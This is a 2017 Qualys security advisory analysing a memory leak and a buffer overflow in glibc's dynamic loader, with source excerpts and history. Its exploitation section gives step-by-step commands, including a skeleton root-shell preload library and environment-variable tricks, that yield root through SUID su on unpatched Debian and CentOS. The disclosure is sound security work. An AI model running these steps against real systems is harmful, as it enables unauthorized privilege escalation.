Qualys Security Advisory - GNU C Library Memory Leak / Buffer Overflow
Posted on 13 December 2017
Qualys Security Advisory Buffer overflow in glibc's ld.so ======================================================================== Contents ======================================================================== Summary Memory Leak Buffer Overflow Exploitation Acknowledgments ======================================================================== Summary ======================================================================== We have discovered a memory leak and a buffer overflow in the dynamic loader (ld.so) of the GNU C Library (glibc): - the memory leak (CVE-2017-1000408) first appeared in glibc 2.1.1 (released on May 24, 1999) and can be reached and amplified through the LD_HWCAP_MASK environment variable; - the buffer overflow (CVE-2017-1000409) first appeared in glibc 2.5 (released on September 29, 2006) and can be triggered through the LD_LIBRARY_PATH environment variable. Further investigation showed that: - the buffer overflow is not exploitable if /proc/sys/fs/protected_hardlinks is enabled (it is not enabled by default on vanilla Linux kernels, but most Linux distributions turn it on by default); - the memory leak and the buffer overflow are not exploitable if the glibc is patched against CVE-2017-1000366, because this patch ignores the LD_HWCAP_MASK and LD_LIBRARY_PATH environment variables when SUID binaries are executed (CVE-2017-1000366 was first patched in glibc 2.26, released on August 2, 2017, but most Linux distributions had already backported this patch on June 19, 2017). We have therefore rated the impact of these vulnerabilities as Low. Nevertheless, we give a brief analysis of the vulnerable function, and present a simple method for exploiting a SUID binary on the command line and obtaining full root privileges (if /proc/sys/fs/protected_hardlinks is not enabled, and CVE-2017-1000366 is not patched). ======================================================================== Memory Leak (CVE-2017-1000408) ======================================================================== ------------------------------------------------------------------------ Analysis ------------------------------------------------------------------------ In _dl_init_paths(), ld.so malloc()ates "rtld_search_dirs.dirs[0]", a cache of information about the system's trusted directories (typically "/lib" and "/usr/lib" on 32-bit or "/lib64" and "/usr/lib64" on 64-bit). To compute the number of system directories, ld.so uses the classic C idiom "sizeof (system_dirs) / sizeof (system_dirs[0])": 691 rtld_search_dirs.dirs[0] = (struct r_search_path_elem *) 692 malloc ((sizeof (system_dirs) / sizeof (system_dirs[0])) 693 * round_size * sizeof (struct r_search_path_elem)); Unfortunately, "system_dirs" is not a classic array: it is not an array of strings (pointers to characters), but rather an array of characters, the concatenation of all system directories, separated by null bytes: 109 static const char system_dirs[] = SYSTEM_DIRS; where "SYSTEM_DIRS" is generated by "gen-trusted-dirs.awk" (typically "/lib/ /usr/lib/" on 32-bit or "/lib64/ /usr/lib64/" on 64-bit). As a result, the number of system directories is overestimated, and too much memory is allocated for "rtld_search_dirs.dirs[0]": if "system_dirs" is "/lib/ /usr/lib/" for example, the number of system directories is 2, but 16 is used instead (the number of characters in "system_dirs") to compute the size of "rtld_search_dirs.dirs[0]". This extra memory is never accessed, never freed, and mostly filled with null bytes, because only the information about "nsystem_dirs_len" system directories (the correct number of system directories) is written to "rtld_search_dirs.dirs[0]", and because the minimal malloc() implementation in ld.so calls mmap(), but never munmap(). Moreover, this memory leak can be amplified through the LD_HWCAP_MASK environment variable, because ld.so uses "ncapstr" (the total number of hardware-capability combinations) to compute the size of "rtld_search_dirs.dirs[0]": 687 round_size = ((2 * sizeof (struct r_search_path_elem) - 1 688 + ncapstr * sizeof (enum r_dir_status)) 689 / sizeof (struct r_search_path_elem)); ------------------------------------------------------------------------ History ------------------------------------------------------------------------ We tracked down this vulnerability to: commit ab7eb292307152e706948a7b19164ff5e6d593d4 Date: Mon May 3 21:59:35 1999 +0000 Update. * elf/Makefile (trusted-dirs.st): Use gen-trusted-dirs.awk. * elf/gen-trusted-dirs.awk: New file. * elf/dl-load.c (systems_dirs): Moved into file scope. Initialize from SYSTEM_DIRS macro. (system_dirs_len): New variable. Contains lengths of system_dirs strings. (fillin_rpath): Rewrite for systems_dirs being a simple string. Improve string comparisons. Change parameter trusted to be a flag. Change all callers. (_dt_init_paths): Improve using new format for system_dirs. which transformed "system_dirs" from an array of strings (pointers to characters) into an array of characters: - static const char *system_dirs[] = - { -#include "trusted-dirs.h" - NULL - }; ... +static const char system_dirs[] = SYSTEM_DIRS; ======================================================================== Buffer Overflow (CVE-2017-1000409) ======================================================================== ------------------------------------------------------------------------ Analysis ------------------------------------------------------------------------ In _dl_init_paths(), ld.so computes "nllp", the number of colon-separated directories in "llp" (the LD_LIBRARY_PATH environment variable), malloc()ates "env_path_list.dirs", an array of "nllp + 1" pointers to "r_search_path_elem" structures (one for each directory in "llp", plus a terminating NULL pointer), and calls fillin_rpath() to fill in "env_path_list.dirs": 777 if (llp != NULL && *llp != ' ') 778 { 779 size_t nllp; 780 const char *cp = llp; 781 char *llp_tmp; ... 803 nllp = 1; 804 while (*cp) 805 { 806 if (*cp == ':' || *cp == ';') 807 ++nllp; 808 ++cp; 809 } 810 811 env_path_list.dirs = (struct r_search_path_elem **) 812 malloc ((nllp + 1) * sizeof (struct r_search_path_elem *)); ... 819 (void) fillin_rpath (llp_tmp, env_path_list.dirs, ":;", 820 __libc_enable_secure, "LD_LIBRARY_PATH", 821 NULL, l); Unfortunately, ld.so parses the "llp" string to compute "nllp" but parses the "llp_tmp" string (an expanded copy of "llp") to fill in "env_path_list.dirs". As a result, the number of pointers written to "env_path_list.dirs" can be greater than "nllp + 1" (an mmap()-based buffer overflow) if the contents of "llp_tmp" differ from the contents of "llp" (if "llp_tmp" contains more colons than "llp"): 784 /* Expand DSTs. */ 785 size_t cnt = DL_DST_COUNT (llp, 1); 786 if (__glibc_likely (cnt == 0)) 787 llp_tmp = strdupa (llp); 788 else 789 { 790 /* Determine the length of the substituted string. */ 791 size_t total = DL_DST_REQUIRED (l, llp, strlen (llp), cnt); 792 793 /* Allocate the necessary memory. */ 794 llp_tmp = (char *) alloca (total + 1); 795 llp_tmp = _dl_dst_substitute (l, llp, llp_tmp, 1); 796 } The Dynamic String Tokens (DSTs) $LIB and $PLATFORM are expanded to fixed strings that do not contain colons (typically "lib" and "i686" on 32-bit or "lib64" and "x86_64" on 64-bit), but the expansion of $ORIGIN (the directory of the binary being executed) can inject extra colons into "llp_tmp" and hence extra pointers into "env_path_list.dirs". To exploit this buffer overflow, a local attacker must therefore be able to: - hard-link a SUID binary into a directory whose pathname contains colons (i.e., /proc/sys/fs/protected_hardlinks must not be enabled); - pass the LD_LIBRARY_PATH environment variable to _dl_init_paths() (i.e., CVE-2017-1000366 must not be patched). ------------------------------------------------------------------------ History ------------------------------------------------------------------------ We tracked down this vulnerability to: commit 950398e1320255572f4228db94344dcd5f613455 Date: Tue Aug 29 01:44:27 2006 +0000 * elf/dl-load.c (_dl_init_paths): Expand DSTs. which added the expansion of llp's Dynamic String Tokens (DSTs) to _dl_init_paths(): - char *llp_tmp = strdupa (llp); + char *llp_tmp; ... + /* Expand DSTs. */ + size_t cnt = DL_DST_COUNT (llp, 1); + if (__builtin_expect (cnt == 0, 1)) + llp_tmp = strdupa (llp); + else + { + /* Determine the length of the substituted string. */ + size_t total = DL_DST_REQUIRED (l, llp, strlen (llp), cnt); + + /* Allocate the necessary memory. */ + llp_tmp = (char *) alloca (total + 1); + llp_tmp = _dl_dst_substitute (l, llp, llp_tmp, 1); + } ======================================================================== Exploitation ======================================================================== ------------------------------------------------------------------------ Debian 9 (i386) ------------------------------------------------------------------------ In this example, we exploit the SUID-root binary "su" on a 32-bit Debian 9.0: we installed "debian-9.0.0-i386-xfce-CD-1.iso" (the last release before glibc's CVE-2017-1000366 was patched), and manually disabled protected_hardlinks ("echo 0 > /proc/sys/fs/protected_hardlinks"). 1/ First, we identify the system's trusted directories (the only directories accepted by fillin_rpath() when executing a SUID binary): $ env -i LD_PRELOAD=nonexistent LD_HWCAP_MASK=0 LD_DEBUG=libs env 2>&1 | head 1607: find library=nonexistent [0]; searching 1607: search cache=/etc/ld.so.cache 1607: search path=/lib/i386-linux-gnu/tls/i686:/lib/i386-linux-gnu/tls:/lib/i386-linux-gnu/i686:/lib/i386-linux-gnu:/usr/lib/i386-linux-gnu/tls/i686:/usr/lib/i386-linux-gnu/tls:/usr/lib/i386-linux-gnu/i686:/usr/lib/i386-linux-gnu:/lib/tls/i686:/lib/tls:/lib/i686:/lib:/usr/lib/tls/i686:/usr/lib/tls:/usr/lib/i686:/usr/lib (system search path) 1607: trying file=/lib/i386-linux-gnu/tls/i686/nonexistent 1607: trying file=/lib/i386-linux-gnu/tls/nonexistent 1607: trying file=/lib/i386-linux-gnu/i686/nonexistent 1607: trying file=/lib/i386-linux-gnu/nonexistent 1607: trying file=/usr/lib/i386-linux-gnu/tls/i686/nonexistent 1607: trying file=/usr/lib/i386-linux-gnu/tls/nonexistent 1607: trying file=/usr/lib/i386-linux-gnu/i686/nonexistent The "system search path" line shows four system directories: "/lib/i386-linux-gnu", "/usr/lib/i386-linux-gnu", "/lib", and "/usr/lib" ("tls" and "i686" are default hardware capabilities that are enabled even if LD_HWCAP_MASK is 0). 2/ Second, we create our $ORIGIN directory and hard-link the SUID-root binary "su" into it: $ mkdir -p '/var/tmp/:/lib:/usr/lib:' $ cd '/var/tmp/:/lib:/usr/lib:' $ ln `which su` . The pathname of our $ORIGIN directory contains two system directories: we will write 12 bytes (3 pointers: one for each system directory, plus a terminating NULL pointer) to an 8-byte "env_path_list.dirs" ("nllp" is only 1, because our unexpanded LD_LIBRARY_PATH does not contain colons). In other words, we will overflow "env_path_list.dirs" and write 4 bytes (the terminating NULL pointer) out of bounds. 3/ Third, we overwrite this out-of-bounds NULL pointer with the first bytes of an error message ("cannot open shared object file") that is malloc()ated after "env_path_list.dirs" because of our "nonexistent" preload library. Consequently, ld.so crashes when open_path() tries to open our second preload library "rootshell.so" in a directory described by an "r_search_path_elem" structure located at the unmapped address 0x6e6e6163 (the overwritten NULL pointer): $ env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' ./su ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored. Segmentation fault $ dmesg | tail -n 1 [70632.888695] su[2293]: segfault at 6e6e6173 ip b77e1c43 sp bfc946dc error 4 in ld-2.24.so[b77db000+22000] The "/../../../../../../../../$LIB" suffix is required, to pass the "check_for_trusted" test in _dl_dst_substitute() (our expanded LD_LIBRARY_PATH must be rooted in one of the system's trusted directories). 4/ Next, we copy the library dependencies of "su" to our current working directory, and compile our preload library "rootshell.so" ("la.c" can be found at the beginning of our stack-clash exploit "Linux_ldso_hwcap.c"): $ cp -- `ldd ./su | grep ' => /' | awk '{print $3}'` . $ cat > la.c << "EOF" > static void __attribute__ ((constructor)) _init (void) { > ... > // setuid(0); > ... > // execve("/bin/sh"); > ... > } > EOF $ gcc -fpic -shared -nostdlib -Os -s -o rootshell.so la.c $ chmod u+s rootshell.so This "chmod" is required, to pass the SUID-bit test in open_path(). 5/ Last, we run "su" with an increasing number of hardware capabilities (i.e., with an increasingly large "rtld_search_dirs.dirs[0]"), until the "rtld_search_dirs.dirs[0]" occupies the address 0x6e6e6163. Because this "rtld_search_dirs.dirs[0]" is mostly filled with null bytes, and because an "r_search_path_elem" structure filled with null bytes is equivalent to the current working directory in open_path(), ld.so will eventually load and execute our "rootshell.so" from the current working directory: $ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<16)-1))" ./su ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored. Segmentation fault real 0m0.715s user 0m0.120s sys 0m0.588s $ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<17)-1))" ./su ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored. Segmentation fault real 0m1.443s user 0m0.368s sys 0m1.072s $ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<18)-1))" ./su ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored. Segmentation fault real 0m2.840s user 0m0.656s sys 0m2.172s ... $ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<23)-1))" ./su ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored. Segmentation fault real 0m5.778s user 0m1.200s sys 0m4.576s $ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<24)-1))" ./su ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored. Segmentation fault real 0m11.589s user 0m2.520s sys 0m9.060s $ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<25)-1))" ./su ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored. # id; exit uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),1000(user) real 0m28.050s user 0m6.140s sys 0m21.892s 6/ Improvements in the running time of this exploit are left as an exercise for the interested reader: $ env -i LD_LIBRARY_PATH=. LD_PRELOAD=nonexistent LD_HWCAP_MASK="$(((1<<25)-1))" LD_DEBUG=libs env 2>&1 | head -c 1000 3084: find library=nonexistent [0]; searching 3084: search path=./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de/vme/fpu:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de/vme:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de/fpu:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/vme/fpu:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/vme:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/fpu:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/de/vme/fpu:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mc $ mkdir -p './tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de/vme/fpu' $ mv -- *.so* './tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de/vme/fpu' $ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<25)-1))" ./su ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored. # id; exit uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),1000(user) real 0m23.485s user 0m5.244s sys 0m18.220s $ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='os-release:rootshell.so' LD_HWCAP_MASK="$(((1<<25)-1))" ./su ERROR: ld.so: object 'os-release' from LD_PRELOAD cannot be preloaded (invalid ELF header): ignored. # id; exit uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),1000(user) real 0m11.352s user 0m2.844s sys 0m8.388s ------------------------------------------------------------------------ CentOS 7 (i386) ------------------------------------------------------------------------ In this example, we exploit "su" on a 32-bit CentOS 7.3.1611: we installed "CentOS-7-i386-Minimal-1611.iso" (the last release before CVE-2017-1000366 was patched), and manually disabled protected_hardlinks ("echo 0 > /proc/sys/fs/protected_hardlinks"). $ env -i LD_PRELOAD=nonexistent LD_HWCAP_MASK=0 LD_DEBUG=libs env 2>&1 | head 17896: find library=nonexistent [0]; searching 17896: search cache=/etc/ld.so.cache 17896: search path=/lib/tls/i686:/lib/tls:/lib/i686:/lib:/usr/lib/tls/i686:/usr/lib/tls:/usr/lib/i686:/usr/lib (system search path) 17896: trying file=/lib/tls/i686/nonexistent 17896: trying file=/lib/tls/nonexistent 17896: trying file=/lib/i686/nonexistent 17896: trying file=/lib/nonexistent 17896: trying file=/usr/lib/tls/i686/nonexistent 17896: trying file=/usr/lib/tls/nonexistent 17896: trying file=/usr/lib/i686/nonexistent $ mkdir -p '/var/tmp/:/lib:/usr/lib:' $ cd '/var/tmp/:/lib:/usr/lib:' $ ln `which su` . $ env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' ./su ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored. Segmentation fault $ dmesg | tail -n 1 [ 8414.911000] su[18088]: segfault at 6e6e6173 ip b77645e2 sp bfe0cb40 error 4 in ld-2.17.so[b775f000+1f000] $ cp -- `ldd ./su | grep ' => /' | awk '{print $3}'` . $ cat > la.c << "EOF" > static void __attribute__ ((constructor)) _init (void) { > ... > // setuid(0); > ... > // execve("/bin/sh"); > ... > } > EOF $ gcc -fpic -shared -nostdlib -Os -s -o rootshell.so la.c $ chmod u+s rootshell.so $ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<16)-1))" ./su ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored. Segmentation fault real 0m0.527s user 0m0.085s sys 0m0.441s $ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<17)-1))" ./su ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored. Segmentation fault real 0m1.060s user 0m0.182s sys 0m0.877s $ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<18)-1))" ./su ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored. Segmentation fault real 0m2.093s user 0m0.384s sys 0m1.702s ... $ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<25)-1))" ./su ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored. Segmentation fault real 0m17.071s user 0m2.525s sys 0m14.537s $ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<26)-1))" ./su ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored. Segmentation fault real 0m33.926s user 0m5.464s sys 0m28.429s $ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<27)-1))" ./su ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored. sh-4.2# id; exit uid=0(root) gid=0(root) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 real 1m30.604s user 0m16.169s sys 1m14.395s ======================================================================== Acknowledgments ======================================================================== We thank the members of the linux-distros@openwall list.
